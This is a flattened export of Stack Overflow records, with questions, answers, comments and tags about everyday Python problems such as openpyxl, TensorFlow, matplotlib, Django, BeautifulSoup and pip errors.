has body: openPyxl places a None value if cell is blank but I would think my logic prevents the None value from being populated into array. from openpyxl import Workbook from openpyxl import load_workbook wb = load_workbook("sample.xlsx") sheetArray = [] for sheetName in wb.sheetnames: sheetArray.append(sheetName) # print(sheetName) sheet_1 = wb[sheetArray[0]] lastRow = sheet_1.max_row # print(lastRow) clientIDArray = [] for row in sheet_1.iter_rows(min_row=1, max_row=lastRow, min_col=1, max_col=1): if [row[0].value] != "None": clientIDArray.append(row[0].value) for id in clientIDArray: print(id) wb.close()
tagged with: python

http://stackoverflow.com/comment/85968072
comment on: http://stackoverflow.com/q/49467932
type: Comment
has text: Also look into implementing your own Geohash or use libraries publicly available.
type: QuestionComment
score: 0

http://stackoverflow.com/comment/85987463
type: Comment
has text: Hi, I can't replicate your results. I get: TypeError: object of type 'Response' has no len() Are you using a Requests session? Thank you, I'm sorry if it's a trivial question.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49482980

http://stackoverflow.com/a/49573241
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/49557761
has body: The LSTM layer is currently returning the full sequence, so the output of the network has shape (batch_size, nb_timesteps, 4). I presume you want to use the last LSTM output only. If that's the case, set return_sequences=False.
downvote count: 0
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/49557761

http://stackoverflow.com/q/49569518
has answer: http://stackoverflow.com/a/49570605
tagged with: python
type: AnsweredQuestion
has title: Tensorflow dimension size / rank issue on loss function when training
downvote count: 0
score: 1
answer count: 1
accepted answer: http://stackoverflow.com/a/49570605
tagged with: loss-function
has body: I have a custom loss function which appears to be valid (no errors when running those two lines, as below) alpha_cost = 2 cost = tf.reduce_mean(tf.where(tf.less(Y * out, 0), tf.squeeze((alpha_cost*out)**2 - tf.sign(Y)*out + tf.abs(Y)), tf.squeeze(tf.abs(Y - out)))) However when I actually continue with model training (batch size 10,000), use of this loss function generates the following error ... InvalidArgumentError (see above for traceback): Inputs to operation Select_4 of type Select must have the same size and shape. Input 0: [1,10000] != input 1: [10000] [[Node: Select_4 = Select[T=DT_FLOAT, _device="/job:localhost/replica:0/task:0/device:GPU:0"](Less_7, Squeeze_6, Squeeze_7)]] Might be a case of just needing to add another tf.squeeze to condense the dimensions... but I've tried a couple and it's not fully cooperating, so perhaps there is a bigger issue with this approach ... thanks for your help!
tagged with: rank
tagged with: tensorflow
favorite count: 0
type: Question
tagged with: tensor
upvote count: 1

http://stackoverflow.com/a/49515488
score: 0
has body: I assume you can already manage to display a bitmap image using wxPython. What you are going to need is two images. One for the LED when unlit, and another for the lit LED. Then, use a wx.Timer to time out the flashing interval, say 500ms. When the timer elapses, you swap the images. You may also want to check out wx.lib.throbber
answers question: http://stackoverflow.com/q/49509079
type: Answer

http://stackoverflow.com/comment/86164591
score: 3
comment on: http://stackoverflow.com/q/49578490
type: Comment
type: QuestionComment
has text: What do you mean "single quotes have been inserted"? Python isn't rewriting your bash script. Who's inserting anything?

http://stackoverflow.com/q/49583015
type: Question
has comment: http://stackoverflow.com/comment/86195613
downvote count: 0
has body: I'm having troubble creating a filled contour plot that has both a logarithmic color scaling as well as having more colors than whatever is chosen by default. I'm basically trying to follow this example but while adding more colors, but whenever I add more colors, the numbers on the colorbar disappear (ticks are still there). My basic code is import numpy as np import matplotlib.pyplot as plt from matplotlib import ticker from matplotlib.colors import LogNorm z = np.random.lognormal(mean=10, sigma=3, size=(10,10)) fig, ax = plt.subplots() levels=np.logspace(np.log10(np.min(z)),np.log10(np.max(z)),100) plot = ax.contourf(z, levels, norm=LogNorm()) cbar = fig.colorbar(plot) plt.show() I've also tried using plot = ax.contourf(z, levels, locator=ticker.LogLocator()) but I get the same result. Tick marks are there but there aren't any numbers on the color bar: Also, following the Matplotlib documentation, it seems like plot = ax.contourf(z, 100, norm=LogNorm()) should get me 101 logarithmically-spaced color levels but it just defaults to the normal number.
tagged with: python
accepted answer: http://stackoverflow.com/a/49639672
type: AnsweredQuestion
has title: Matplotlib: Getting contourf color labels to appear with logarithmic scale and many levels
score: 3
has answer: http://stackoverflow.com/a/49639672
upvote count: 3
tagged with: matplotlib
answer count: 1
has comment: http://stackoverflow.com/comment/86174317
favorite count: 0

http://stackoverflow.com/comment/86124888
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49558080
has text: ok thanks! No the function (and the constraints) won't be that easy ;) (but for the one variable function yeah I alrady know the minimize_scalar, but still thanks)
type: Comment

http://stackoverflow.com/a/49587098
has body: You could use a try-except block inside an infinite while loop. This keeps on receiving input from user until user enters a correct input (input that matches a key in potions). potions = {"small_health": 15, "small_instant_exp": 250} while True: try: selection = potions[input("Pick one")] print(selection) break except: print('Wrong Input')
type: Answer
answers question: http://stackoverflow.com/q/49586986
score: 0

http://stackoverflow.com/q/49447937
tagged with: django
upvote count: 1
tagged with: python
has title: Python/Django 2.0/Bootstrap3: Retrieving data from db based on form inputs using Django
answer count: 2
score: 1
downvote count: 0
has body: I am new to Django and Python. So I need help on an issue. I have checked StackOverflow for finding similar problems, but could not solve the problem yet. I am creating a web app on django and there I want to retrieve the tours from the db based on the criteria accepted from a form. But it is not working. Here is what I did: models.py from django.db import models from django.forms import ModelForm from django.contrib.auth.models import User from django.db.models.signals import post_save from django.urls import reverse class Tour(models.Model): TourOperator = models.ForeignKey(TourOperator, on_delete=models.PROTECT) TourCode = models.CharField(max_length=10, unique=True, help_text='Ex. JT001 ') Title = models.CharField(max_length=200, help_text="Title of the tour here") Slug = models.SlugField(max_length=200) Type = models.CharField(max_length=200, choices = TOUR_TYPES, help_text="Select from the list") Duration = models.IntegerField(default=0) ShortDesc = models.CharField(max_length=200, help_text='Short description in 200') Description = models.TextField(help_text='Description of the tour...') Itinerary = models.CharField(max_length=500, help_text="Itinerary of the tour...") Inclusions = models.CharField(max_length=200, help_text="Inclusions of the tour; Seperate them with commas") Exclusions = models.CharField(max_length=200, help_text="Exclusions of the tour; Seperate them with commas") Difficulty = models.CharField(max_length=20, help_text="Enter a value between 1 to 10") GroupSize = models.CharField(max_length=2, help_text="Group size") Seasonality = models.CharField(max_length=100, help_text="Seasonality of the tour; Ex. July - September") Highlights = models.CharField(max_length=100, help_text="Highlights of the tour; Ex. Yamchun fortress, etc") #Destination_id = models.ForeignKey(Destination) Price = models.DecimalField(max_digits=6, decimal_places=2) Image = models.ImageField(upload_to='tours_image/') Created = models.DateTimeField(auto_now_add=True) Update…
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49448107
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49449916

http://stackoverflow.com/a/52396383
has body: in my case, I needed to install the C++ tesseract library (not just the python wrapper) and provide a path to it when initializing the tesserocr API: from tesserocr import PyTessBaseAPI api = PyTessBaseAPI(lang='eng', path=r'C:\python\envs\python36\Lib\site-packages\tesserocr\Tesseract-OCR\tessdata') For windows 7, I got a windows installer, like this: https://osdn.net/projects/sfnet_tesseract-ocr-alt/downloads/tesseract-ocr-setup-3.02.02.exe/ Note that there is a version 4.0, so you should google for the latest version. Also - the path is specifically to the tessdata folder that is created from the library.
type: Answer
answers question: http://stackoverflow.com/q/49534655
score: 0

http://stackoverflow.com/comment/86237573
type: AnswerComment
comment on: http://stackoverflow.com/a/49602249
score: 0
type: Comment
has text: bro here's my other issue post on stackoverflow, can you plz help me in solving this issue?i'll be very thankful to you https://stackoverflow.com/questions/49604076/i-cant-update-my-post-using-modelformset-factory

http://stackoverflow.com/comment/86099159
score: 1
type: Comment
comment on: http://stackoverflow.com/a/49545783
has text: That's great, very fast and no it seems to be producing exactly what I need so I don't think you missed anything. Many thanks
type: AnswerComment

http://stackoverflow.com/q/49519654
tagged with: python
has comment: http://stackoverflow.com/comment/86044878
has body: Hi am very new to python when am trying below if condition am getting an error. &gt;&gt;&gt; age=18 &gt;&gt;&gt; if age&gt;18: ... print "Elligible for voting" File "&lt;stdin&gt;", line 2 print "Elligible for voting"
score: 0
has answer: http://stackoverflow.com/a/49519722
answer count: 1
has comment: http://stackoverflow.com/comment/86044783
type: Question
has comment: http://stackoverflow.com/comment/86044736
type: UnansweredQuestion
has title: when trying if condition in python getting an error

http://stackoverflow.com/a/49483761
upvote count: 2
type: AcceptedAnswer
has body: I think that problem is your data_y is 2D matrix. but as I see in sklearn.model_selection.StratifiedShuffleSplit doc, it should be the 1D vector. Try to encode each row of data_y as the integer (it will be interpreted as a class), and after use split. Or possibly your y is a regression variable (continuous numerical data).(Vivek's link)
accepted answer of: http://stackoverflow.com/q/49483156
downvote count: 1
answers question: http://stackoverflow.com/q/49483156
score: 1
type: Answer

http://stackoverflow.com/comment/86042166
comment on: http://stackoverflow.com/q/49517010
type: Comment
has text: Sorry, still not following. What does that imply? What would happen if they were class instances? Can you please elaborate everything in a proper response instead of comments?
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86168658
type: AnswerComment
score: 0
type: Comment
has text: fixing `r` and `pandas` in one post... nice!
comment on: http://stackoverflow.com/a/49580301

http://stackoverflow.com/a/49479650
accepted answer of: http://stackoverflow.com/q/49479334
has comment: http://stackoverflow.com/comment/85962867
has comment: http://stackoverflow.com/comment/85962562
score: 1
has body: Take a look at this answer. It appears you need kivy.deps.sdl2.
answers question: http://stackoverflow.com/q/49479334
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/85962818
type: Answer
has comment: http://stackoverflow.com/comment/85962601

http://stackoverflow.com/a/49456864
type: Answer
has body: If you want a slightly more general or flexible method, you can use this: re.findall(r'\*\d+\*(\d+)\*\d+\*',a) Which gives you the same output: ['0123456789012345678901234567890123456789'] But the advantage is that it gives you the value between any set of numeric values that are surrounded by the *. For instance, this would work for your string, but also for the string a = *0101*0123456789012345678901234567890123456789*0*, etc...
upvote count: 1
downvote count: 0
answers question: http://stackoverflow.com/q/49456580
score: 1

http://stackoverflow.com/comment/86125588
has text: @Stev - that boosted mean accuracy score to 97%
score: 0
comment on: http://stackoverflow.com/q/49544981
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49554133
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86118010
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86118491
tagged with: python
has comment: http://stackoverflow.com/comment/86118581
has title: Issues when pip install libraries in my host machine
score: 2
upvote count: 2
downvote count: 0
answer count: 1
tagged with: pip
has answer: http://stackoverflow.com/a/49554492
has comment: http://stackoverflow.com/comment/86115451
has body: I am trying to use pip (9.0.1) in my macosx (python 2.7.10) but whenever I install something I keep getting these errors: Collecting flask Retrying (Retry(total=4, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('&lt;pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x10b8fa310&gt;: Failed to establish a new connection: [Errno 61] Connection refused',)': /simple/flask/ Retrying (Retry(total=3, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('&lt;pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x10b8fa110&gt;: Failed to establish a new connection: [Errno 61] Connection refused',)': /simple/flask/ Retrying (Retry(total=2, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('&lt;pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x10b8fa550&gt;: Failed to establish a new connection: [Errno 61] Connection refused',)': /simple/flask/ Retrying (Retry(total=1, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('&lt;pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x10b8fa850&gt;: Failed to establish a new connection: [Errno 61] Connection refused',)': /simple/flask/ Retrying (Retry(total=0, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('&lt;pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x10b8facd0&gt;: Failed to establish a new connection: [Errno 61] Connection refused',)': /simple/flask/ Some guy mentioned that might be related to the firewall so I connected to the network via my phone and then I execute pip in this case things seem to get installed but I still get all this "retrying" before it downloads every package like: Collecting flask Retrying (Retry(total=4, connect=None, read=None, redirect=None)) after c…

http://stackoverflow.com/comment/89486619
has text: @zerohedge Yes, replacing the definition of `pers_key` in `group_send` with: `data_key = self._group_key(group + "__DATA__")` worked
score: 1
comment on: http://stackoverflow.com/q/49450014
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49492318
has body: I have problem about Dronekit on Python My project about receive GPS Location from Android application and Launch drone flying to that Position, Everything work fine but problem is Drone can takeoff but drone didn't go to that Location(Testing 10+ times work only 1 time) Here is my code (I think problem is GlobalRelative) # Import DroneKit-Python from dronekit import connect, VehicleMode, LocationGlobalRelative import time import urllib2 import simplejson import json import requests #Wait for json data response = urllib2.urlopen("http://localhost:3000/posts") data = simplejson.load(response) print(data) json_string = data[0]["Information"] gps = json.loads(json_string) x=gps['lat'] y=gps['lon'] r = requests.delete('http://localhost:3000/posts/1') # Connect to the Vehicle. print("Connecting") vehicle = connect('com4', wait_ready=False, baud=57600)#; vehicle.wait_ready(True, timeout=300) print("Connected") # Get some vehicle attributes (state) print "Get some vehicle attribute values:" print " GPS: %s" % vehicle.gps_0 print " Battery: %s" % vehicle.battery print " Last Heartbeat: %s" % vehicle.last_heartbeat print " Is Armable?: %s" % vehicle.is_armable print " System status: %s" % vehicle.system_status.state print " Mode: %s" % vehicle.mode.name # settable # Takeoff Function def arm_and_takeoff(tgt_altitude): print("Arming motors") # while not vehicle.is_armable: # time.sleep(1) vehicle.mode = VehicleMode("GUIDED") vehicle.armed = True print("Takeoff") vehicle.simple_takeoff(tgt_altitude) # wait reach tgt_altitude while True: altitude = vehicle.location.global_relative_frame.alt if altitude &gt;= tgt_altitude -1: print("Altitude Reached") break time.sleep(1) # Main arm_and_takeoff(10) # Speed vehicle.airspeed = 7 # Go to wp wp1 = LocationGlobalRelative(x, y, 10) # Close vehicle object before exiting script vehicle.mode = VehicleMode("RTL") vehicle.close() print("Completed") Alternative, If I can't fix this problem I want to use MissionPlanner( I test on it , and it w…
type: UnansweredQuestion
answer count: 1
tagged with: python
has title: Dronekit Python didn't go to specific location
has answer: http://stackoverflow.com/a/52109254
tagged with: dronekit
score: 0
tagged with: mavlink
tagged with: dronekit-python
type: Question

http://stackoverflow.com/comment/85905260
type: QuestionComment
comment on: http://stackoverflow.com/q/49451356
score: 0
type: Comment
has text: @DavidG SQLAlchemy

http://stackoverflow.com/q/49519587
upvote count: 1
favorite count: 0
tagged with: beautifulsoup
type: AnsweredQuestion
score: 1
tagged with: screen-scraping
has body: I have the following HTML: Item 1 Item 2 I use BeautifulSoup to get the content in description class: descriptionItems = container.find('div', attrs={'class': 'description'}).text.strip() What I get is Item 1Item 2 How do I get Item 1 Item 2 instead, i.e. the content between div tags, including both br tags?
tagged with: python
accepted answer: http://stackoverflow.com/a/49519791
tagged with: web-crawler
has answer: http://stackoverflow.com/a/49519791
type: Question
has title: Preserve certain HTML tags when extracting with BeautifulSoup
tagged with: extract
has comment: http://stackoverflow.com/comment/86044625
has comment: http://stackoverflow.com/comment/86044812
answer count: 1
downvote count: 0

oracle-database
tags question: http://stackoverflow.com/q/49468751
tags question: http://stackoverflow.com/q/49494493
tags question: http://stackoverflow.com/q/49450396
tag name: oracle-database
type: Tag

http://stackoverflow.com/comment/86003486
type: Comment
type: QuestionComment
has text: Thanks for the suggestion! Unfortunately, I am still getting the errors. These errors seem to be specific to Firefox rather than something being generated by the Python script itself. My first thought is that the webbrowser module has something built into it to suppress these, but I do not see it in the documentation.
comment on: http://stackoverflow.com/q/49499106
score: 0

http://stackoverflow.com/a/74904000
answers question: http://stackoverflow.com/q/49554139
type: Answer
has body: The rest of the answers are great and should work well for most use-cases. But if someone has the same problem as I have where the range of values is very large for one column (possibly a different scale) and you are not able to see anything else for other columns you can do the following: utilize subplots in order to create multiple y-axes within the figure. # Store the list of columns columns_to_plot = ['A', 'B', 'C', 'D'] # Create the figure and two subplots fig, axes = plt.subplots(ncols=len(columns_to_plot)) # Create the boxplot with Seaborn for column, axis in zip(columns_to_plot, axes): sns.boxplot(data=df[column], ax=axis) axis.set_title(column) # axis.set(xticklabels=[], xticks=[], ylabel=column) # Show the plot plt.tight_layout() plt.show() I have also added a commented out line for removing the redundant xticks and their labels, which looked really annoying to me, as well as setting the ylabel name.
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/86257496
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49528092
has text: how to write domain for to intimate before 3 days of current date.

http://stackoverflow.com/q/49478444
answer count: 1
tagged with: python
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49479299
accepted answer: http://stackoverflow.com/a/49479299
tagged with: find
has body: I am new to Python and I am using beautiful soup to do an assignment about web scraping. The user is asked to input the units of the course. And I should pull out the relevant information about the course including the course title, time, registered students and instructor. I started with finding the course table which contains all courses information and each course is in a table udder the course table tag. Then I would like to iterate and loop through each course to find out the information. But the code I wrote does not give me anything. Could anyone take a look at my code? Which part did I do wrong? Thank you in advance. The html link is http://classes.usc.edu/term-20181/classes/itp/ The following is my code to ask for user input and I am trying to use find &amp; find_all function to find the class title,time,students registered and instructor. from bs4 import BeautifulSoup import urllib.request url="http://classes.usc.edu/term-20181/classes/itp/" page=urllib.request.urlopen(url) soup=BeautifulSoup(page.read(),"html.parser") # ask for user input for course units choiceUnits=input("Enter") #trying to find the tag that contain all the courses information coursesTable=soup.find("div",class_="course-table") #trying to find each course table under the course-table tag courses=coursesTable.find_all("div",class_="course-info expanded") for course in courses: # trying to find the course units unitsTag=courses.find("span",class_="units") units=unitsTag.text #compare the course units with the user input. If they are the same, find out the course title,time,students registered and instruction if units==choiceUnits: #find the title of the course titleTag=courses.find("a",class_="courselink") title=titleTag.text #find the time of the course timeTag=courses.find_all("td",class_="time") time=timeTag.text #find the number of students registered registerTag=courses.find_all("td",class_="registered") register=registerTag.text #find the instructor instructorTag=courses.find_all("t…
has comment: http://stackoverflow.com/comment/85961196
tagged with: beautifulsoup
has title: Beautiful soup does not return anything
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/85959581
upvote count: 1
score: 1

http://stackoverflow.com/a/49578405
type: Answer
score: 0
answers question: http://stackoverflow.com/q/49550862
has body: root = tk.Tk() root.wm_attributes('-type', 'splash') For more details go to this link: Remove titlebar without overrideredirect() using Tkinter?

http://stackoverflow.com/comment/86088109
has text: @chrisz I'm testing something different here -- Anaconda would inject new variables into the environment that would not exist in production. I need the base distro as that is what will be used.
comment on: http://stackoverflow.com/q/49540378
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/62667742
answers question: http://stackoverflow.com/q/49562499
downvote count: 0
has body: You can also try file = open(filename, 'rb') 'rb' translates to read binary if you wouldn't need to decode it. Say if you just want to upload to a website
type: Answer
upvote count: 19
score: 19

http://stackoverflow.com/comment/86011994
has text: Possible duplicate of [Store and reload matplotlib.pyplot object](https://stackoverflow.com/questions/7290370/store-and-reload-matplotlib-pyplot-object)
score: 0
comment on: http://stackoverflow.com/q/49503869
type: Comment
type: QuestionComment

discrete-mathematics
tags question: http://stackoverflow.com/q/49469505
tags question: http://stackoverflow.com/q/49537535
type: Tag
tag name: discrete-mathematics

http://stackoverflow.com/comment/86085997
score: 0
has text: No it's not a txt. It doesn't have an extension. So may be that's the issue?
type: Comment
comment on: http://stackoverflow.com/q/49539364
type: QuestionComment

http://stackoverflow.com/a/49514487
upvote count: 2
has body: The main tools that is suitable for you approach is pickle. It is native in Python and is a serialization method for all Python objects. See docs. The main problem with pickle is if you use it to save objects that holds a large amount of data. It will save the whole object and hence large files. Alternative approaches are also very welcome and preferred when planning and implementing using a design pattern that is suitable for the job. For instance, you can build configuration objects that tracks the work and save it into JSON formats. Another language that is good for preferences and state capturing is XML. However, in all the designed approaches you'll need to modify the code such that it can save and resume based on the defined settings, state and preferences. All the above languages have libraries to support it, JSON is native.
has comment: http://stackoverflow.com/comment/86045747
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/49514251
has comment: http://stackoverflow.com/comment/86039090
type: Answer
has comment: http://stackoverflow.com/comment/86034037
has comment: http://stackoverflow.com/comment/86034115

http://stackoverflow.com/comment/86024490
comment on: http://stackoverflow.com/q/49510037
score: 0
type: Comment
has text: Sorry, where? There's the expected output as text, but the input only exists as an image.
type: QuestionComment

http://stackoverflow.com/comment/86057194
score: 0
has text: @abccd I have updated it. Thanks!
comment on: http://stackoverflow.com/q/49525590
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/138247701
has text: I don't think you need the second `set`
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49564944

http://stackoverflow.com/q/49444773
score: 0
has answer: http://stackoverflow.com/a/49445835
possible better answer: http://stackoverflow.com/a/49445010
has answer: http://stackoverflow.com/a/49445010
type: Question
tagged with: rest
has title: DRF foreign primary key that auto increments with nested serializers for cascade insert
tagged with: django
tagged with: python
tagged with: django-rest-framework
has body: I want to insert a Conversation model that has a child class to Message model. I also want it to use a single Viewset method for the saving. The Message has a foreign key to the primary key of Conversation. I'm looking for something similar to the java + spring class implementation wherein the Parent references the Child class. The Parent and Child have an auto_increment annotation. Spring JPA save is called and the insert is cascaded. Parent Class: int id; Child reference; Child Class: int child_id; int parent_id; Service Method: parent.setReference(child); jpa.save(parent); // both parent and child is inserted Is there something like this for Django Rest Framework? Or Django Framework? json: { "model": "conversation", "id": auto_increment, "title": "chat", "message": { "model": "message", "conversation_id": value from id in conversation model, "message": "hi" } }
type: AnsweredQuestion
answer count: 2
accepted answer: http://stackoverflow.com/a/49445835

http://stackoverflow.com/comment/85924903
type: AnswerComment
has text: conn = db2.connect() cur = conn.cursor() cur.execute("SELECT CUST_ID, COMPANY, LASTNAME, CITY, STATE FROM \ zendphp7.sp_cust WHERE COUNTRY = 'US'") colnames = [desc[0] for desc in cur.description]
comment on: http://stackoverflow.com/a/49460993
type: Comment
score: 0

http://stackoverflow.com/comment/86001521
score: 0
type: AnswerComment
has text: but how can I take a title in slug ?
type: Comment
comment on: http://stackoverflow.com/a/49490477

http://stackoverflow.com/comment/86297260
score: 0
has text: Thank you a lot for this quick response, @justcompile! I'll try this out then!
comment on: http://stackoverflow.com/a/49540058
type: Comment
type: AnswerComment

http://stackoverflow.com/q/49566709
answer count: 3
has answer: http://stackoverflow.com/a/49566744
downvote count: 3
has answer: http://stackoverflow.com/a/49570600
upvote count: 1
has body: I am trying to find expression but I want the value as a whole, not seperate values: test = "code.coding = 'DS-2002433E172062D';" find = re.compile('[A-Z,\d]') hey= re.findall(find,str(test)) print hey response = ['D, 'S', '2', '0', '0', '2', '6', '6', '8', '0', '3', 'E', '1', '7', '2', '0', '6', '2', 'D'] However I want it as DS-2002433E172062D
favorite count: 0
type: Question
has title: Get Regex Result as group Python
type: UnansweredQuestion
score: -2
tagged with: python
tagged with: regex
has answer: http://stackoverflow.com/a/49567039

http://stackoverflow.com/q/49511208
tagged with: python
score: 2
type: AnsweredQuestion
answer count: 3
tagged with: pandas
accepted answer: http://stackoverflow.com/a/49511340
has answer: http://stackoverflow.com/a/67341699
has comment: http://stackoverflow.com/comment/86026558
downvote count: 0
has answer: http://stackoverflow.com/a/49513373
possible better answer: http://stackoverflow.com/a/49513373
favorite count: 0
has title: Dplyr R n() group by function to Pandas similar function
type: Question
upvote count: 2
has answer: http://stackoverflow.com/a/49511340
has body: Is there any function in pandas that can 100% replicate the n() function used in dplyr when you are grouping by ? For instance, having this code: require(dplyr) gb &lt;- mtcars %&gt;% group_by(gear, cyl) %&gt;% summarise(Disp = sum(disp), QSec = sum(qsec), Counter = n()) how can I replicate this (and the n() function !) in pandas ? Nevertheless, query final output should look like the following: gear cyl Disp QSec Counter &lt;dbl&gt; &lt;dbl&gt; &lt;dbl&gt; &lt;dbl&gt; &lt;int&gt; 1 3.00 4.00 120 20.0 1 2 3.00 6.00 483 39.7 2 3 3.00 8.00 4291 206 12 4 4.00 4.00 821 157 8 5 4.00 6.00 655 70.7 4 6 5.00 4.00 215 33.6 2 7 5.00 6.00 145 15.5 1 8 5.00 8.00 652 29.1 2

http://stackoverflow.com/comment/85917312
comment on: http://stackoverflow.com/q/49456032
score: 0
type: Comment
has text: Thanks for the link. Not really seeing how it is relevant? Why would I need to group things? I simply want to filter the results again after checking they are in the current day?
type: QuestionComment

http://stackoverflow.com/comment/86174801
has text: Yes, I plan to use something like that to control the servos. The biggest issue is taking keyboard input and then ser.writing that. How could I get it to send an “a” to the arduino when I press a on my keyboard and then send another “a” when I release it
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49583084

http://stackoverflow.com/comment/85950064
comment on: http://stackoverflow.com/a/49473666
type: Comment
type: AnswerComment
has text: @shinzou Can you please add the output you're getting?
score: 0

http://stackoverflow.com/comment/86088267
has text: I don’t think you want `ord` here. That function turns each character into an int with the corresponding code point. For example, `’a’` is code point #97, so `ord(‘a’)` is the number 97.
type: Comment
comment on: http://stackoverflow.com/q/49540308
score: 0
type: QuestionComment

http://stackoverflow.com/a/49484511
has comment: http://stackoverflow.com/comment/86012287
score: 0
has comment: http://stackoverflow.com/comment/85971899
answers question: http://stackoverflow.com/q/49484406
has comment: http://stackoverflow.com/comment/85982104
has comment: http://stackoverflow.com/comment/86062832
has comment: http://stackoverflow.com/comment/85972436
has body: First check the dtypes of the data frame. Make sure that it is not of str format. Also in the function you defined there is error df['A'] (you did not close the ' after A.
type: Answer

http://stackoverflow.com/comment/86136942
comment on: http://stackoverflow.com/a/49564244
type: Comment
has text: but whats representing "tag"? wondering because im trying to get the link also
type: AnswerComment
score: 0

http://stackoverflow.com/a/49592810
has comment: http://stackoverflow.com/comment/86211930
downvote count: 0
upvote count: 1
score: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86217151
has comment: http://stackoverflow.com/comment/86213350
has comment: http://stackoverflow.com/comment/86223148
answers question: http://stackoverflow.com/q/49592565
has comment: http://stackoverflow.com/comment/86213524
has comment: http://stackoverflow.com/comment/86214188
has comment: http://stackoverflow.com/comment/86214087
has body: Okay with the code added I was able to test in on my machine. The issue is that your network expects two inputs, one image, and a label. Even if you only do inference, you have to supply an input, maybe just some zeroes? Obviously the loss calculation will be wrong, but you're not interested in that, only in the prediction. So your sess.run line should be: print( sess.run( prediction, feed_dict= { x: two_images[0].reshape((1, 784)), y: np.zeros( shape = ( 1, 10 ), dtype = np.float32 ) } ) )
accepted answer of: http://stackoverflow.com/q/49592565
type: Answer
has comment: http://stackoverflow.com/comment/86212118

http://stackoverflow.com/q/49532222
tagged with: io
answer count: 1
has body: I want to download a CSV file stored in Azure storage into a stream and directly used in my python script, but after I did this with help from Thomas, I cannot use pandas read_csv method, the error message is: pandas.io.common.EmptyDataError: No columns to parse from file,thus I assume the download CSV stream is actually empty, but after check in storage account, the CSV file is fine with all data inside it, what the problem here? below is the code from Thomas: from azure.storage.blob import BlockBlobService import io from io import BytesIO, StringIO import pandas as pd from shutil import copyfileobj with BytesIO() as input_blob: with BytesIO() as output_blob: block_blob_service = BlockBlobService(account_name='my account', account_key='mykey') block_blob_service.get_blob_to_stream('my counter', 'datatest1.csv', input_blob) df=pd.read_csv(input_blob) print(df) copyfileobj(input_blob, output_blob) #print(output_blob) # Create the a new blob block_blob_service.create_blob_from_stream('my counter', 'datatest2.csv', output_blob) if i dont execute the read_csv code, the create_blob_from_stream will create a empty file, but if i execute the read_csv code, i got error: pandas.parser.TextReader.cinit (pandas\parser.c:6171) pandas.io.common.EmptyDataError: No columns to parse from file the download file stored fine in the blob storage with all data in it. as showing below:
favorite count: 0
type: Question
upvote count: 5
score: 5
has title: Azure storage get_blob_to_stream cant download saved csv file as stream
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49540840
tagged with: python
downvote count: 0
tagged with: pandas
tagged with: azure-blob-storage

http://stackoverflow.com/comment/86006476
has text: I believe Ada is certified "safe" by a variety of different regulatory agencies (but only certain implementations), but almost no other modern-ish language is. Getting Python certified in the same way would presumably require a multi-million-dollar, multi-year auditing process, and lots of clout within the government and/or even more millions of lobbying.
comment on: http://stackoverflow.com/q/49501092
score: 3
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49519226
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/49521363
tagged with: flask
has title: I have a Python/Flask application running with mod_wsgi and apache. If I try to install a new module, it seems not to work. Why is that?
has comment: http://stackoverflow.com/comment/86076380
score: 0
tagged with: mod-wsgi
has comment: http://stackoverflow.com/comment/86044409
has body: I have a flask application with a requirements.txt file running on a server. I also created a virtual environment with python 3.5 for this application. This is the virtual host config file: WSGIPythonHome /var/www/example/env/bin/python3.5 WSGIPythonPath /var/www/example/env/lib/python3.5/site-packages &lt;VirtualHost *:80&gt; ServerName example.com WSGIScriptAlias / /var/www/example.wsgi &lt;Directory /var/www/example/web&gt; Require all granted &lt;/Directory&gt; ErrorLog ${APACHE_LOG_DIR}/example/error.log CustomLog ${APACHE_LOG_DIR}/example/access.log combined &lt;/VirtualHost&gt; Everything works. Now I added a new library library to my requirements.txt file, I activated the virtual env and rerun the pip3 install command. Apparently everything worked. But if I try to access my application now, what I get is ImportError: No module named 'library' On my pc it works but I don't use mod_wsgi so I'm pretty sure there is some misconfiguration here. Please not that I can use the new module if I run python from my virtual env.
tagged with: apache
answer count: 1
tagged with: virtualenv
type: Question

http://stackoverflow.com/comment/133490526
has text: I came across this post looking for a way to generate points in a hollow circle, so the answer below doesn't really apply to my situation. I ran the code you supplied but it just generates a diagonal line. Could somebody help?
score: 0
comment on: http://stackoverflow.com/q/49551440
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49482427
answers question: http://stackoverflow.com/q/49482383
score: 0
has comment: http://stackoverflow.com/comment/85967922
type: AcceptedAnswer
